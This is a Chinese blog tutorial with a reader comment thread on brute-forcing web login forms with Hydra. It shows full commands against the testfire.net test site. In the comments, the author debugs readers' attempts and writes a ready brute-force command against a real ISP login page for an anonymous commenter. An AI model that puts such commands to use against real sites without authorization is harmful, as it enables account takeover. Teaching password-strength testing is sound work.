2014年2月3日 星期一

實例說明:利用 Hydra 暴力破解網站登入密碼

最近(2016年1月)發現 thc.org 的網站被判定有惡意程式,且許多地方下載 hydra 7.5 的檔案也被掃毒軟體視為木馬,請讀者自行斟酌使用。
Hydra 是一套暴力破解工具,可以破解許多系統登入的帳密,一般常見的系統,如:cisco、ftp、http[s]、ldap2[s]、mssql、mysql、oracle-listener、pop3[s]、postgres、rdp、smb、smtp、ssh、telnet[s]、vnc (當然不只這些J),大部分系統因為配合Command-Line 的登入模式都有固定格式,但http[s] 因每個系統、每個設計師風格不同,欄位名稱、成功或失敗回應方式都不同,前置預備動作比較多。
Hydra 的基本語法及常用選項:
 hydra [[[-l LOGIN | -L FILE] [-p PASS | -P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE]] [-w TIME] [-f | -F] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]
-l, -L :帳號,-l 直接指定一組帳號, -L 利用文字檔指定多組帳號(一行文字表示一組帳號)
-p, -P :密碼,-p 直接指定一組密碼, -P 利用文字檔指定多組密碼(一行文字表示一組密碼)
-C:利用文字檔,每一行用  login:pass 格式表示一組帳號/密碼組合。

-e:額外嘗試: n (空密碼,即不指定密碼), s (將帳號同時當成密碼用),r (將帳號/密碼調換使用),此一選項是額外嘗試,也就是正常嘗試用,再增加本選項的測試!

-o: 將測試結果輸出到檔案
-t:指定同一時間的連線數,預設是 16 ,如果機器效能夠高、網路頻寬大,可以提高連線數,反之,則應降低連線數!

-M:指定多組要被暴力破解的伺服器網址,一行一個
-w:當發出登入連線後,等待 ? 秒回應的時間。
-x:指定密碼的長度限制及文字集,其中 MIN:MAX 是數字,表示密碼最少 MIN 字,最長 MAX字,而CHARSET 是由  1(數字), a(小寫字母), A(大寫字母),如果要用其他特殊字,就直接接在後面,例如:1A@#!,表示密碼是由數值、大寫字母及 @#!    三個特殊字元組成! 此一選項是用來自動產生暴力字典!
-SuvVd46:是多個選項的組合,分別表示:
S:使用SSL連線
u:每一組密碼都用帳號輪流測試,而不是每一組帳號用密碼輪流測試。
v V d U 是訊息的詳細度
4 6 是 IP address 格式(IPv4 或 IPv6)
-s :如果測試的伺服器不是使用預設 port,就利用 -s 指定
-f:如果測到一組成功的帳密就停止,如果指定 -M ,則是每一 site 成功,就換測試下一個 site
-F:同 -f ,但如果指定 -M,只要有一組帳密成功,就結束測試。

底下的選項最重要:
server 要測試的單一位址,如果要同時測試多個位址,就要使用 -M 選項
service 就是要破解的協定,常用:ftp  ftps  http[s]-{head|get}  http[s]-{get|post}-form  ldap2[s]  ldap3[-{cram|digest}md5][s]  mssql  mysql  oracle-listener  pop3[s]  postgres  rdp   rsh  smb  smtp[s]   ssh  telnet[s]  vmauthd  vnc
OPT 就是其他額外指定的參數,例如 WebForm 的欄位名稱等...
輔助說明提供的範例如:
hydra -l user -P passlist.txt ftp://192.168.1.1
hydra -L userlist.txt -p defautpass imap://192.168.1.1/PLAIN
hydra -C userpass.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:1433/TLS:DIGEST-MD5
看完 hydra 的使用說明後,我們嘗試對 Web Form 進行暴力破解,對像是 IBM提供的一個測試網站:http://www.testfire.net/
在進行破解前,要先完成預備動作
(1) 網頁如果有啟用圖型認證或其他需人為進行判斷的機制,就不適合使用暴力破解!
(2) 是用 post 或 get 傳遞欄位(可利用原始碼觀看)
(3) 帳號及密碼欄位名稱
(4) 處理(action)的網址
(5) 如果帳密錯誤時,回傳的訊息
在 www.testfire.net 首頁的中上地方可以看到「Sign In」,點選之後出現登入畫面

在登入畫面按右鍵,查看原始碼(如下),找出正確的 form 位置,記下處理的網頁網址及帳密欄位!

我們觀看原始碼,發現此網站的欄位分別為:uid passw,使用 post 方式傳給 login.aspx 處理,因此我們決定使用  http-post-form,所以在 kali 的Console 中輸入
 hydra -l admin -P /usr/share/metasploit-framework/data/john/wordlists/password.lst www.testfire.net http-post-form "/bank/login.aspx:uid=^USER^&passw=^PASS^:Login Failed"
你可能發現上面的語法跟基本語法不太一樣! 其實  service://server:PORT/OPT ,也可以改用:
server:PORT service "OPT" ,而其中對欄位的指定「帳號欄位=^USER^&密碼欄位=^PASS^:錯誤回應」,^USER^ 及 ^PASS^ 表示 hydra 會自動幫我們替換值,以達到暴力破解的目的,而 「錯誤回應」則是 hydra 判斷是否成功登入的依據,當回應的訊息中如果有對應的文字,就表示失敗,必須繼續嘗試下一組帳號/密碼!
由於我們沒有帳號字典,而密碼字典就利用 kali 已內建的字典檔「/usr/share/metasploit-framework/data/john/wordlists/password.lst」,幾分鐘之後,我們看到結果:
原來,可用的帳密是 admin/admin,當然如果是用帳號清單檔,可能可以找出很多組密碼組合!
PS: 這一篇是為了要進行弱密碼測試而寫,而測試的目標並不限於登入畫,如果網站有漏洞,可以直接接觸到變更密碼或忘記密碼,也可以嘗試利用hydra進行改擊!
除了hydra之外,另一組 ncrack 也有相似的功用,只是個人覺得 hydra 的選項比較簡潔,所以偏好 hydra !


191 則留言:

  1. 請問這是甚麼軟體?

    回覆刪除
    回覆
    1. hydra 全名叫 thc-hydra,是一套on-line的密碼猜測工具,它可以對許多類型的系統,如 ftp, ssh, 或網頁登入等等,進行帳號或/及密碼猜測,利用系統回應的訊息,判斷猜測的帳號、密碼是否成立。
      我在做滲透測試時,都會利用 hydra 測試是否有懶人密碼(又叫弱密碼)

      刪除
  2. 可否幫我破一個網頁密碼

    回覆刪除
    回覆
    1. 這很抱歉! 我不是駭客,做滲透測試是經過客戶同意,必須互簽同意書及保密切結書。
      所以請您原諒,我無法為您破解網頁密碼,因為那是違法行為。

      刪除
    2. 但有DOWNLOAD點嗎

      刪除
    3. http://atic-tw.blogspot.tw/p/blog-page_25.html
      這個網址上有我常用的工具下載清單,請卓參!

      刪除
    4. 如果只是一個小小的網頁遊戲 用那個會較適合?
      我想測試會否讓人得到管理員密碼

      刪除
  3. 這個網站: http://wog.we-u.net/
    我想知道管理員密碼 該用那個軟件較適合

    回覆刪除
    回覆
    1. 我DOWN完了 但如何使用....

      刪除
    2. 解壓後 有一個HYDRA.EXE 及一個PW-INSPECTOR.E...

      刪除
    3. 使用 hydra.exe ,有關各項參數說明已在本則博文裡,煩請參考

      刪除
    4. 但是我按 hydra.exe後開不到..只陣出一個黑色畫面數秒就消失

      刪除
    5. 請開啟「命令提示字元」,在命令提示字元中,切換到 hydra.exe 所在的目錄下執行。不要在檔案總管上開啟。這一支文字模式的工具。

      刪除
  4. 請問字典檔該如何生成?像是我完全複製了你上面測試破解的那串命令,他就會告訴我沒有此字典黨

    回覆刪除
    回覆
    1. 對不起,因為月底忙於考試,忘了給您回文,實在抱歉!
      字典檔其實就是密碼的文字清單,您可以下載 https://drive.google.com/file/d/0B_HZnwwA-F-iUmZDcGY4Q3loT3c/edit?usp=sharing 這個範例參考,其實用 GOOGLE 就可以找到許多現成的字典檔。
      但如果是要進行公司內部的測試,最好還是自己準備一組,因為每家公司對密碼的要求不一樣,如果您的公司要求8碼以上,那拿5碼、7碼的字典檔來試,一點意義也沒有。

      刪除
  5. Microsoft Windows [版本 6.3.9600]
    (c) 2013 Microsoft Corporation. 著作權所有,並保留一切權利。

    C:\Users\ASUS>C:\Users\ASUS\Desktop\hydra\hydra.exe
    2 [main] hydra 3872 find_fast_cwd: WARNING: Couldn't compute FAST_CWD poin
    ter. Please report this problem to
    the public mailing list cygwin@cygwin.com
    Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

    Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o
    FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN
    :MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]

    Options:
    -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
    -p PASS or -P FILE try password PASS, or load several passwords from FILE
    -C FILE colon separated "login:pass" format, instead of -L/-P options
    -M FILE list of servers to be attacked in parallel, one entry per line
    -t TASKS run TASKS number of connects in parallel (per host, default: 16)
    -U service module usage details
    -h more command line options (complete help)
    server the target server (use either this OR the -M option)
    service the service to crack (see below for supported protocols)
    OPT some service modules support additional input (-U for module help)

    Supported services: asterisk cisco cisco-enable cvs ftp ftps http[s]-{head|get}
    http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] l
    dap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywher
    e pcnfs pop3[s] rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 teams
    peak telnet[s] vmauthd vnc xmpp

    Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
    for legal purposes. This tool is licensed under AGPL v3.0.
    The newest version is always available at http://www.thc.org/thc-hydra

    Example: hydra -l user -P passlist.txt ftp://192.168.0.1

    C:\Users\ASUS>hydra -l admin -P /usr/share/metasploit-framework/data/john/wordli
    sts/password.lst www.testfire.net http-form-post "/bank/login.aspx:uid=^USER^&pa
    ssw=^PASS^:Login Failed"
    'hydra' 不是內部或外部命令、可執行的程式或批次檔。

    C:\Users\ASUS>
    請問這樣要怎麼辦...

    回覆刪除
    回覆
    1. 您第一回使用絕對路徑「C:\Users\ASUS>C:\Users\ASUS\Desktop\hydra\hydra.exe」,而第二回直接在目錄裡執行「C:\Users\ASUS>hydra -l admin -P /usr/share/metasploit-framework/data/john/wordli
      sts/password.lst www.testfire.net http-form-post "/bank/login.aspx:uid=^USER^&pa
      ssw=^PASS^:Login Failed"」,第二回當然找不到 hydra=.

      請先「CD C:\Users\ASUS\Desktop\hydra」後,再執行「hydra -l admin -P /usr/share/metasploit-framework/data/john/wordli
      sts/password.lst www.testfire.net http-form-post "/bank/login.aspx:uid=^USER^&pa
      ssw=^PASS^:Login Failed"」。

      刪除
    2. Microsoft Windows [版本 6.3.9600]
      (c) 2013 Microsoft Corporation. 著作權所有,並保留一切權利。

      C:\Users\ASUS>CD DESKTOP

      C:\Users\ASUS\Desktop>CD HYDRA

      C:\Users\ASUS\Desktop\hydra> hydra -l 12345678 -P "C:\Users\ASUS\Desktop\passwor
      d-2.lst" http://hicare.hinet.net/timecontrol/index.php http-form-post "./login.j
      sp:id=^USER^&passwd=^PASS^:不正確
      1 [main] hydra 4308 find_fast_cwd: WARNING: Couldn't compute FAST_CWD poin
      ter. Please report this problem to
      the public mailing list cygwin@cygwin.com
      Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

      Hydra (http://www.thc.org/thc-hydra) starting at 2015-08-01 07:59:14
      [ERROR] optional parameter must start with a '/' slash!


      C:\Users\ASUS\Desktop\hydra>

      那這個又怎麼辦...

      刪除
    3. 我不知道您的指令是怎麼下的,但是從您給的訊息來看,最後一行「[ERROR] optional parameter must start with a '/' slash!」應該是您的指令格式有誤,再麼煩麼您仔細檢查一下。還有,如果用到 " " 括住參數,記得要成對。

      刪除
  6. Hydra (http://www.thc.org/thc-hydra) starting at 2015-08-02 09:47:54
    cygwin warning:
    MS-DOS style path detected: C:\Users\user\Desktop\password-2.lst
    Preferred POSIX equivalent is: /password-2.lst
    CYGWIN environment variable option "nodosfilewarning" turns off this warning.
    Consult the user's guide for more details about POSIX paths:
    http://cygwin.com/cygwin-ug-net/using.html#using-pathnames
    [DATA] 12 tasks, 1 server, 12 login tries (l:1/p:12), ~1 try per task
    [DATA] attacking service http-post-form on port 80
    [ERROR] could not resolve address: http://hitc.hinet.net/newlogin/login_frame.js
    p
    [ERROR] Child with pid 4544 terminating, can not connect
    [ERROR] Child with pid 6596 terminating, can not connect
    [ERROR] Child with pid 4552 terminating, can not connect
    [ERROR] Child with pid 2564 terminating, can not connect
    [ERROR] Child with pid 5168 terminating, can not connect
    [ERROR] Child with pid 4524 terminating, can not connect
    [ERROR] Child with pid 4564 terminating, can not connect
    0 of 1 target completed, 0 valid passwords found
    [ERROR] 1 target did not resolve or could not be connected
    Hydra (http://www.thc.org/thc-hydra) finished at 2015-08-02 09:48:05

    我網址格是錯了嗎

    回覆刪除
    回覆
    1. 不是您的網址錯誤,從您這幾次的發問,似乎您對Web 的作業方式不甚明瞭(若有誤解,敬請原諒),
      「http://hitc.hinet.net/newlogin/login_frame.jsp」是您填寫登錄資料的網頁,但解析(判斷)登人資料的網頁是http://hitc.hinet.net/newlogin/login.jsp (從http://hitc.hinet.net/newlogin/login_frame.jsp的網頁原始碼可看到:
      <form name="login" method="post" action="./login.jsp"> ),要做網頁滲透測試,理解Web的原理,可以讓您事半功倍,不然,可能會碰到一些自己以為「莫明其妙」的錯誤,其實只是打錯對象。

      刪除
  7. < name="login" method="post" action="./login.jsp">
    < name="id" type="text" size="10" onkeydown="key_down()">
    < name="passwd" type="password" size="10" onkeydown="key_down()">
    所以是 "./login.jsp:id=^USER^&passwd=^PASS^:不正確" 嗎
    可是我這樣打的時候他就會說 [ERROR] optional parameter must start with a '/' slash!

    回覆刪除
    回覆
    1. 可否請您提供完整的指令供我測試嗎?因為目前您提的這資訊我還無法判斷問題在哪?

      刪除
    2. 不曉得您是不是要測「http://hitc.hinet.net/newlogin/login_frame.jsp」這個網址?
      提供您幾個方向:
      首先您需要「成功」跟「不成功」返回的訊息有何不同,因為我沒有帳號,無法測試成功返回的結果,但從「不成功」返回的結果來看,應該有兩個地方可供判斷(請查看網頁原始碼)
      一是返回的JavaScript部分,我看的訊息是「<p><strong><font color=blue>帳號</font>或<font color=blue>密碼</font></strong><strong>不正</strong><strong>確</strong></p><p><strong>請重新</strong><strong>輸入</strong></p><p> </p>」
      與其用「不正確」來判斷,不如用「請重新」。
      二是網頁原始碼最下面有一段「<button id="pop_msg" style="background-color:#666666; display:none;" onclick="popmsg1()">POP_MSG_1</button>」,所以「POP_MSG_1」可能也是可判斷的文字。

      另外從 http://hitc.hinet.net/newlogin/login_frame.jsp 發送出去的變數有「url=http%3A%2F%2Fhitc.hinet.net%2Fnewlogin%2Flogin_frame.jsp&ip=10.10.10.10&id=98235478&passwd=a12345678」,似乎不是只有 id 及 passwd 兩個欄位。

      hydra -l 12345678 -P "C:\Users\ASUS\Desktop\passwor
      d-2.lst" hitc.hinet.net http-form-post "/newlogin/login.jsp:url=http%3A%2F%2Fhitc.hinet.net%2Fnewlogin%2Flogin_frame.jsp&ip=10.10.10.10&id=^USER^&passwd=^PASS^:POP_MSG_1"

      前面的網址是 hitc.hinet.net,不帶任何子目錄路徑,單純就是網站的位址,要測試的位址是「/newlogin/login.jsp」

      刪除
  8. 請問數字的字典檔去哪裡找

    回覆刪除
    回覆
    1. 如果是純數字的字典檔,用 Excel 拉一下就有了

      刪除
  9. 有個網頁我知道幾組密碼 而且滿規律的 ~
    能幫我破解剩下其他的幾組嗎?

    回覆刪除
    回覆
    1. 抱歉! 我不是駭客,進行滲透測試必須取得資產擁有者的書面授權才能進行,所以無法幫您破解別人系統的密碼。

      刪除
  10. 有個網頁我知道幾組密碼 而且滿規律的 ~
    能幫我破解剩下其他的幾組嗎?
    還是用thc-hydra 就行了?
    (有12碼, 規律的數字和英文)

    回覆刪除
    回覆
    1. 您可以使用 hydra 的 -x 選項,讓Hydra自己產生密碼組合,但要花很長的時間破解就是了(參考 「Kali Linux 滲透測試工具」這本書的 13-3 頁

      刪除
    2. 你好,我使用範例中的指令以及自行產生必包含密碼的密碼字典,但是卻無法回報該組正確密碼。
      結果顯示是No valid password.
      想請問是否有使用上的細節沒有注意到

      刪除
    3. 沒有看到您下的指令及嘗試的網站,無法提供確切的建議,但在使用hydra上有兩點要注意:
      1.網站的回應訊息,必須是可以明確分別出成功或失敗,也就是範例中「:Login Failed」的字樣,必須是登入失的回應網頁中要有這一串字,如果您的網頁是回應別的訊息,就要配合修正。而且這段字不能出現在成功的網頁上。有的網站為了欺騙工具,會用隱藏字串,造成工具誤判。
      2.不能有錯誤幾次鎖定功能,現在的網站都聰明了,會在幾次登入失敗後,就鎖定帳號,但它仍一直回應登入失敗,所以工具無法正確判斷。

      刪除
  11. 您好 我在解壓縮thc-hydra的過程 他跟我說Unexpected end of archive請問是壓縮檔的問題嗎??

    回覆刪除
    回覆
    1. 您要不要重新下載檔案試試,應該是下載的檔案內容不完整

      刪除
    2. Microsoft Windows [版本 6.1.7601]
      Copyright (c) 2009 Microsoft Corporation. All rights reserved.

      C:\Users\user>cd..

      C:\Users>cd..

      C:\>cd tools

      C:\tools>cd hydra

      C:\tools\hydra>hydra
      'hydra' 不是內部或外部命令、可執行的程式或批次檔。

      C:\tools\hydra>cd hydra

      C:\tools\hydra\hydra>hydra
      Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

      Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o
      FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN
      :MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]

      Options:
      -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
      -p PASS or -P FILE try password PASS, or load several passwords from FILE
      -C FILE colon separated "login:pass" format, instead of -L/-P options
      -M FILE list of servers to be attacked in parallel, one entry per line
      -t TASKS run TASKS number of connects in parallel (per host, default: 16)
      -U service module usage details
      -h more command line options (complete help)
      server the target server (use either this OR the -M option)
      service the service to crack (see below for supported protocols)
      OPT some service modules support additional input (-U for module help)

      Supported services: asterisk cisco cisco-enable cvs ftp ftps http[s]-{head|get}
      http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] l
      dap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywher
      e pcnfs pop3[s] rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 teams
      peak telnet[s] vmauthd vnc xmpp

      Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
      for legal purposes. This tool is licensed under AGPL v3.0.
      The newest version is always available at http://www.thc.org/thc-hydra

      Example: hydra -l user -P passlist.txt ftp://192.168.0.1

      C:\tools\hydra\hydra>-l admin -P password.txt cobee.management.fju.edu.tw:81 htt
      p-form-post "/bank/login.asp:uid=^USER^&password=^PASS^:Login Failed"
      '-l' 不是內部或外部命令、可執行的程式或批次檔。

      C:\tools\hydra\hydra>

      刪除
    3. 請問這是哪裡有問題啊??

      刪除
    4. Microsoft Windows [版本 6.1.7601]
      Copyright (c) 2009 Microsoft Corporation. All rights reserved.

      C:\Users\user>cd..

      C:\Users>cd..

      C:\>cd tools

      C:\tools>cd hydra

      C:\tools\hydra>hydra
      'hydra' 不是內部或外部命令、可執行的程式或批次檔。

      C:\tools\hydra>cd hydra

      C:\tools\hydra\hydra>hydra
      Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

      Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o
      FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN
      :MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]

      Options:
      -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
      -p PASS or -P FILE try password PASS, or load several passwords from FILE
      -C FILE colon separated "login:pass" format, instead of -L/-P options
      -M FILE list of servers to be attacked in parallel, one entry per line
      -t TASKS run TASKS number of connects in parallel (per host, default: 16)
      -U service module usage details
      -h more command line options (complete help)
      server the target server (use either this OR the -M option)
      service the service to crack (see below for supported protocols)
      OPT some service modules support additional input (-U for module help)

      Supported services: asterisk cisco cisco-enable cvs ftp ftps http[s]-{head|get}
      http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] l
      dap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywher
      e pcnfs pop3[s] rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 teams
      peak telnet[s] vmauthd vnc xmpp

      Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
      for legal purposes. This tool is licensed under AGPL v3.0.
      The newest version is always available at http://www.thc.org/thc-hydra

      Example: hydra -l user -P passlist.txt ftp://192.168.0.1

      C:\tools\hydra\hydra>-l admin -P password.txt cobee.management.fju.edu.tw:81 htt
      p-form-post "/bank/login.asp:uid=^USER^&password=^PASS^:Login Failed"
      '-l' 不是內部或外部命令、可執行的程式或批次檔。

      C:\tools\hydra\hydra>

      刪除
    5. 'cygwin': unknown terminal type

      刪除
    6. 我上網找「unknown terminal type」,有很多因素會造成這個訊息,抱歉! 無法為您解決這個問題。

      刪除
    7. 可以請問 我知道"/bank/login.aspx 是在action裡面 但是前面的bank想問是在哪抓的

      刪除
    8. 當您按了右上角的「Sing In」時,登入畫面的網址不就是「http://www.testfire.net/bank/login.aspx」,而在「Action=login.aspx」所指就是相對於目前路徑(http://www.testfire.net/bank/),這路徑扣除前面的主機URL(http://www.testfire.net)就是「/bank/」了

      刪除
  12. Hydra (http://www.thc.org/thc-hydra) starting at 2015-10-18 23:04:50
    [DATA] 16 tasks, 1 server, 869228 login tries (l:1/p:869228), ~54326 tries per t
    ask
    [DATA] attacking service http-post-form on port 80
    [ERROR] could not resolve address: cobee.management.fju.edu.tw:81
    0 of 1 target completed, 0 valid passwords found
    [ERROR] 1 target did not resolve or could not be connected
    Hydra (http://www.thc.org/thc-hydra) finished at 2015-10-18 23:04:51

    C:\hydra\hydra>

    謝謝您 我知道上面的問題了 可以再請問一下 這個 指令回應 是說沒有找到答案嗎??

    回覆刪除
  13. 對不起,我沒有看到您下的指令,只能從您提供的訊息猜測,在 第5行)

    [ERROR] could not resolve address: cobee.management.fju.edu.tw:81

    這邊表示發生錯誤,它無法從 DNS 解析 cobee.management.fju.edu.tw:81 這一段位址,因為實質作業是靠 IP ,URL 無法轉換成 IP 就不能破解。

    回覆刪除
  14. 可以帮我破解一个比赛的登入密码吗?

    回覆刪除
    回覆
    1. 這樣不妥吧! 既然是比賽,應該有比賽的規則。

      刪除
  15. www.testfire.net http-form-post "/bank/login.aspx:uid=^USER^&passw=^PASS^:Login Failed" 這段式表示什麼意思

    回覆刪除
    回覆
    1. www.testfire.net 測試的網址
      http-form-post 提交的方法
      "/bank/login.aspx 窴際處理提交資料的網頁網址
      :uid=^USER^&passw=^PASS^: 要暴力破解(更換參數內容)的欄位
      Login Failed" 如果帳號、密碼不對時,回應的網頁中會出現的文字

      「帳號欄位=^USER^&密碼欄位=^PASS^:錯誤回應」,^USER^ 及 ^PASS^ 表示 hydra 會自動幫我們替換值,以達到暴力破解的目的,而 「錯誤回應」則是 hydra 判斷是否成功登入的依據,當回應的訊息中如果有對應的文字,就表示失敗,必須繼續嘗試下一組帳號/密碼!

      刪除
  16. 如果我要破解這頁php的密碼 我知道我的帳號是user 我該如何下指令

    回覆刪除
    回覆
    1. 謝謝支持,彼此討論技術,相互增長。但請不要直接要求解題,這樣我會吃不消,跟您說聲抱歉,實在無能為力。

      刪除
  17. 你好,你提供的載點有malware-gen病毒,可能要換一下載點了

    回覆刪除
    回覆
    1. 對不起,可否告知網址?

      刪除
    2. http://atic-tw.blogspot.tw/p/blog-page_25.html 裡面的"thc-hydra"->
      http://0xa.li/hydra-7-5-for-windows/ (zip檔有毒)

      刪除
    3. 感謝您的通知,我已將下載網址改成 http://sourceforge.net/projects/hydra75win32port/

      刪除
  18. 您好,我進去之後請問一開始要打甚麼阿,完全看不懂啊

    回覆刪除
    回覆
    1. 我看不懂您的問題描述,是進到testfire網站?還是進到???
      這篇博文是在說明如何利用 hydra這套工具,嘗試以暴力猜測方式破解帳、密碼,你一定要先知道您的標的是什麼,否則工具是幫不上忙的。

      刪除
    2. 我的意思是說:我進入hydra之後,請問步驟是甚麼,可不可以一個一個列舉

      刪除
    3. 算了....請告訴我明確的步驟,我的電郵trianglesnake@gmail.com

      刪除
    4. 1. 確定您要暴力破解的標的是什麼?(HTTP、FTP、SSH、VNC、.....)
      2. 碇定標的的IP位址
      3. 確定您的字典來源
      4. 確定您的欄位名稱
      5. 確定測試標的時,答錯時的回應訊息
      6. 執行
      其實這篇博文已經把hydra應用在 http 的破解上說明很清楚,hydra處理對象有很多種,每一種的語法都不一樣,但觀念是想通的。

      刪除
    5. 您留的email address ( trianglesnake@gmail.com )不通

      刪除
  19. 你好 上面圖片示範的是知道帳號為admin
    那當我們也不知道帳號時
    需要如何去暴力破解呢?

    回覆刪除
    回覆
    1. 如果連帳號都不知道,就要準備一組帳號字典檔(假設為user.lst)及一組密碼字典檔(假設為pass.lst),本例使用的語法中原來「-l admin」改成「-L user.lst」

      hydra -L user.lst -P pass.lst www.testfire.net http-form-post "/bank/login.aspx:uid=^USER^&passw=^PASS^:Login Failed"

      hydra 的參數 -l 是指定1個帳號,-L 是指定帳號的清單檔,其他部分則沒有改變。

      刪除
  20. 大大你好.你的網址進去http://sourceforge.net/projects/hydra75win32port/
    無法下載.能否給我另個下載點呢
    或者能寄檔案給我呢 大大
    電郵qoqo0203@hotmail.com
    單純做技術交流 謝謝你

    回覆刪除
  21. D:\軟體\Hydra 7.5\hydra>hydra -l admin -P /usr/share/metasploit-framework/data/john/wordlists/password.lst

    59.126.110.170 http-form-post "/bank/login.aspx:Username=^USER^&password=^PASS^
    :incorrect"
    Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

    Hydra (http://www.thc.org/thc-hydra) starting at 2016-04-11 06:51:21
    [ERROR] File for passwords not found!


    ===================================================
    有勞版大幫我看看下面觀念是否有誤
    (1)請問上面[ERROR] File for passwords not found!這句意思是指:未在password.list檔案裡找到登入密碼嗎
    (2)159.126.110.170此網頁的破解標的為http嗎
    (3)此網頁提交方法用http-form-post對嗎
    (4)159.126.110.170提交資料的網頁網址為"/bank/login.aspx對嗎

    回覆刪除
    回覆
    1. 1.您是在Windows上使用 hydra,有關路徑Windows 是用 \(Windows 7是可以用 /),所以您要確認一下真的能讀到 /usr/share/metasploit-framework/data/john/wordlists/password.lst 嗎?您可以在DOS視窗執行 「cd /usr/share/metasploit-framework/data/john/wordlists/」看能不能順利切換到這個目錄裡,如果不行,表示您的路徑有問題,建議將 password.lst 複製到跟 hydra.exe 相同的目錄下,然後用「-P password.lst」,畢竟字打得愈多,出錯機會愈大。

      2. http-form-post 是指提交測試資料的方式,這涉及http的請求方法,常用的有 GET 及 POST 兩種,必須配合接收參數的網頁(提交對象)來指定,您所謂的破解標的我不明白它的意思。依您提供的指令是要破解 admin 這個帳號的密碼(測試 admin 使用哪一組密碼)。而 admin 這個值會固定塞到 Username 這個欄位上, password.lst 的清單內容會一次一個塞到 password 的欄位中,然後看網頁的回應情形,如果回應的網頁中含有「incorrect」這個字,就表示密碼不對。
      請注意,incorrect是對方回應的資料,所以您必須先「人工」判斷成功登入跟失敗登入的回應結果之差異,如果成功跟失敗回應的網頁內容都有「incorrect」這個字,那麼就算密碼對了,hydra還是認為嘗試失敗。

      至於 (3) 跟 (4) 的觀念是對的。

      刪除
  22. 我使用之後他說 File for passwords not found! 請問有沒有解決方法?

    回覆刪除
    回覆
    1. 那就是沒有指定正確的路徑,麻煩請參考之前的po文(之前已有人提問過了)

      刪除
  23. 為何輸入完一直出現"hydra-1"不是內部或外部命令 可執行的程式或批次檔

    回覆刪除
    回覆
    1. 這支工具叫 hydra,-l 是它的參數,兩者之間要留一個空格,是 hydra -1, 不是 hydra-1

      刪除
  24. 剛好最近想了解這方面資訊
    拜讀了您的文章受益良多
    您真的好熱心的回答一些
    嗯....奇妙的問題
    想請問一下
    我試著用Hydra去試著破解下面這個網站
    http://hack-me.org/index.php
    這是專門拿來滲透練習的網站
    hydra -l admin -P password-2.lst hack-me.org/ http-form-post "/index.php:user_id=^USER^&user_pw=^PASS^:Wrong id or password! :("
    我有看了一下他也是post的,所以這樣打應該沒錯吼?
    其中我不太明白如果是get 那在http-form-post這裡要改成get?
    網址的http一定要拿掉嗎?
    還有您說的
    server:PORT service "OPT"
    其中
    server是www.testfire.net
    service是http-form-post
    下面這串都是OPT嗎?
    "/index.php:user_id=^USER^&user_pw=^PASS^:Wrong id or password! :("
    還有我的執行結果是
    http://i.imgur.com/REb3mZA.jpg?1
    這是一直在匹配嗎?
    跑好久...XD

    回覆刪除
    回覆
    1. get 可以使用 http-get 就可以了,其實您可以用 hydra -U http-get 查看說明
      http-get 是SERVICE的選項,可以換成其他如 https-post-form

      對hydra 而言,是依照 service 的類型來嚐試,而 Server 只要能解出IP即可

      OPT 就是分成三段(不是每一種Service都這樣),第一段是嘗試的目標,第二段是要測試的欄位,第三段是測試回應的結果,所以您打的沒有錯。

      至於會跑多久,跟您提供的帳號及密碼清單數有關,如果 100個帳號對上100密碼,它就會跑 100*100 = 10000 次

      刪除
    2. blogspot 都將留言板給歸到垃圾發言,我也很困擾,其實您們的留言我都有收到email通知,然後要一封一封告訴blogspot 不是垃圾發言,待慢之處,還請包涵!

      刪除
  25. 網誌管理員已經移除這則留言。

    回覆刪除
  26. 你好,我朋友臉書被盜,信箱和密碼都被改掉,我現在去FB那邊要找回密碼,他說需要輸入六位數的認證碼,可是認證碼寄到的信箱完全是不適我朋友的,請問這個認證碼有辦法使用此程式暴力解開嗎?

    回覆刪除
    回覆
    1. 您好,Hydra是可以用在認證碼破解,但暴力破解有其限制,如果FB有限定錯誤次數,那Hydra也無能為力,所以我個人建議:
      (一)直接找FB協助解決。
      (二)不然就另外申請帳號。

      刪除
  27. 那假設"/bank/login.aspx:uid=^USER^&passw=^PASS^:Login Failed"
    只有前面的名稱,而沒有斜線後面的字員
    EX:www.facebook.com
    這一行是要打"/:uid=^USER^&passw=^PASS^:Login Failed" 這樣對嗎??
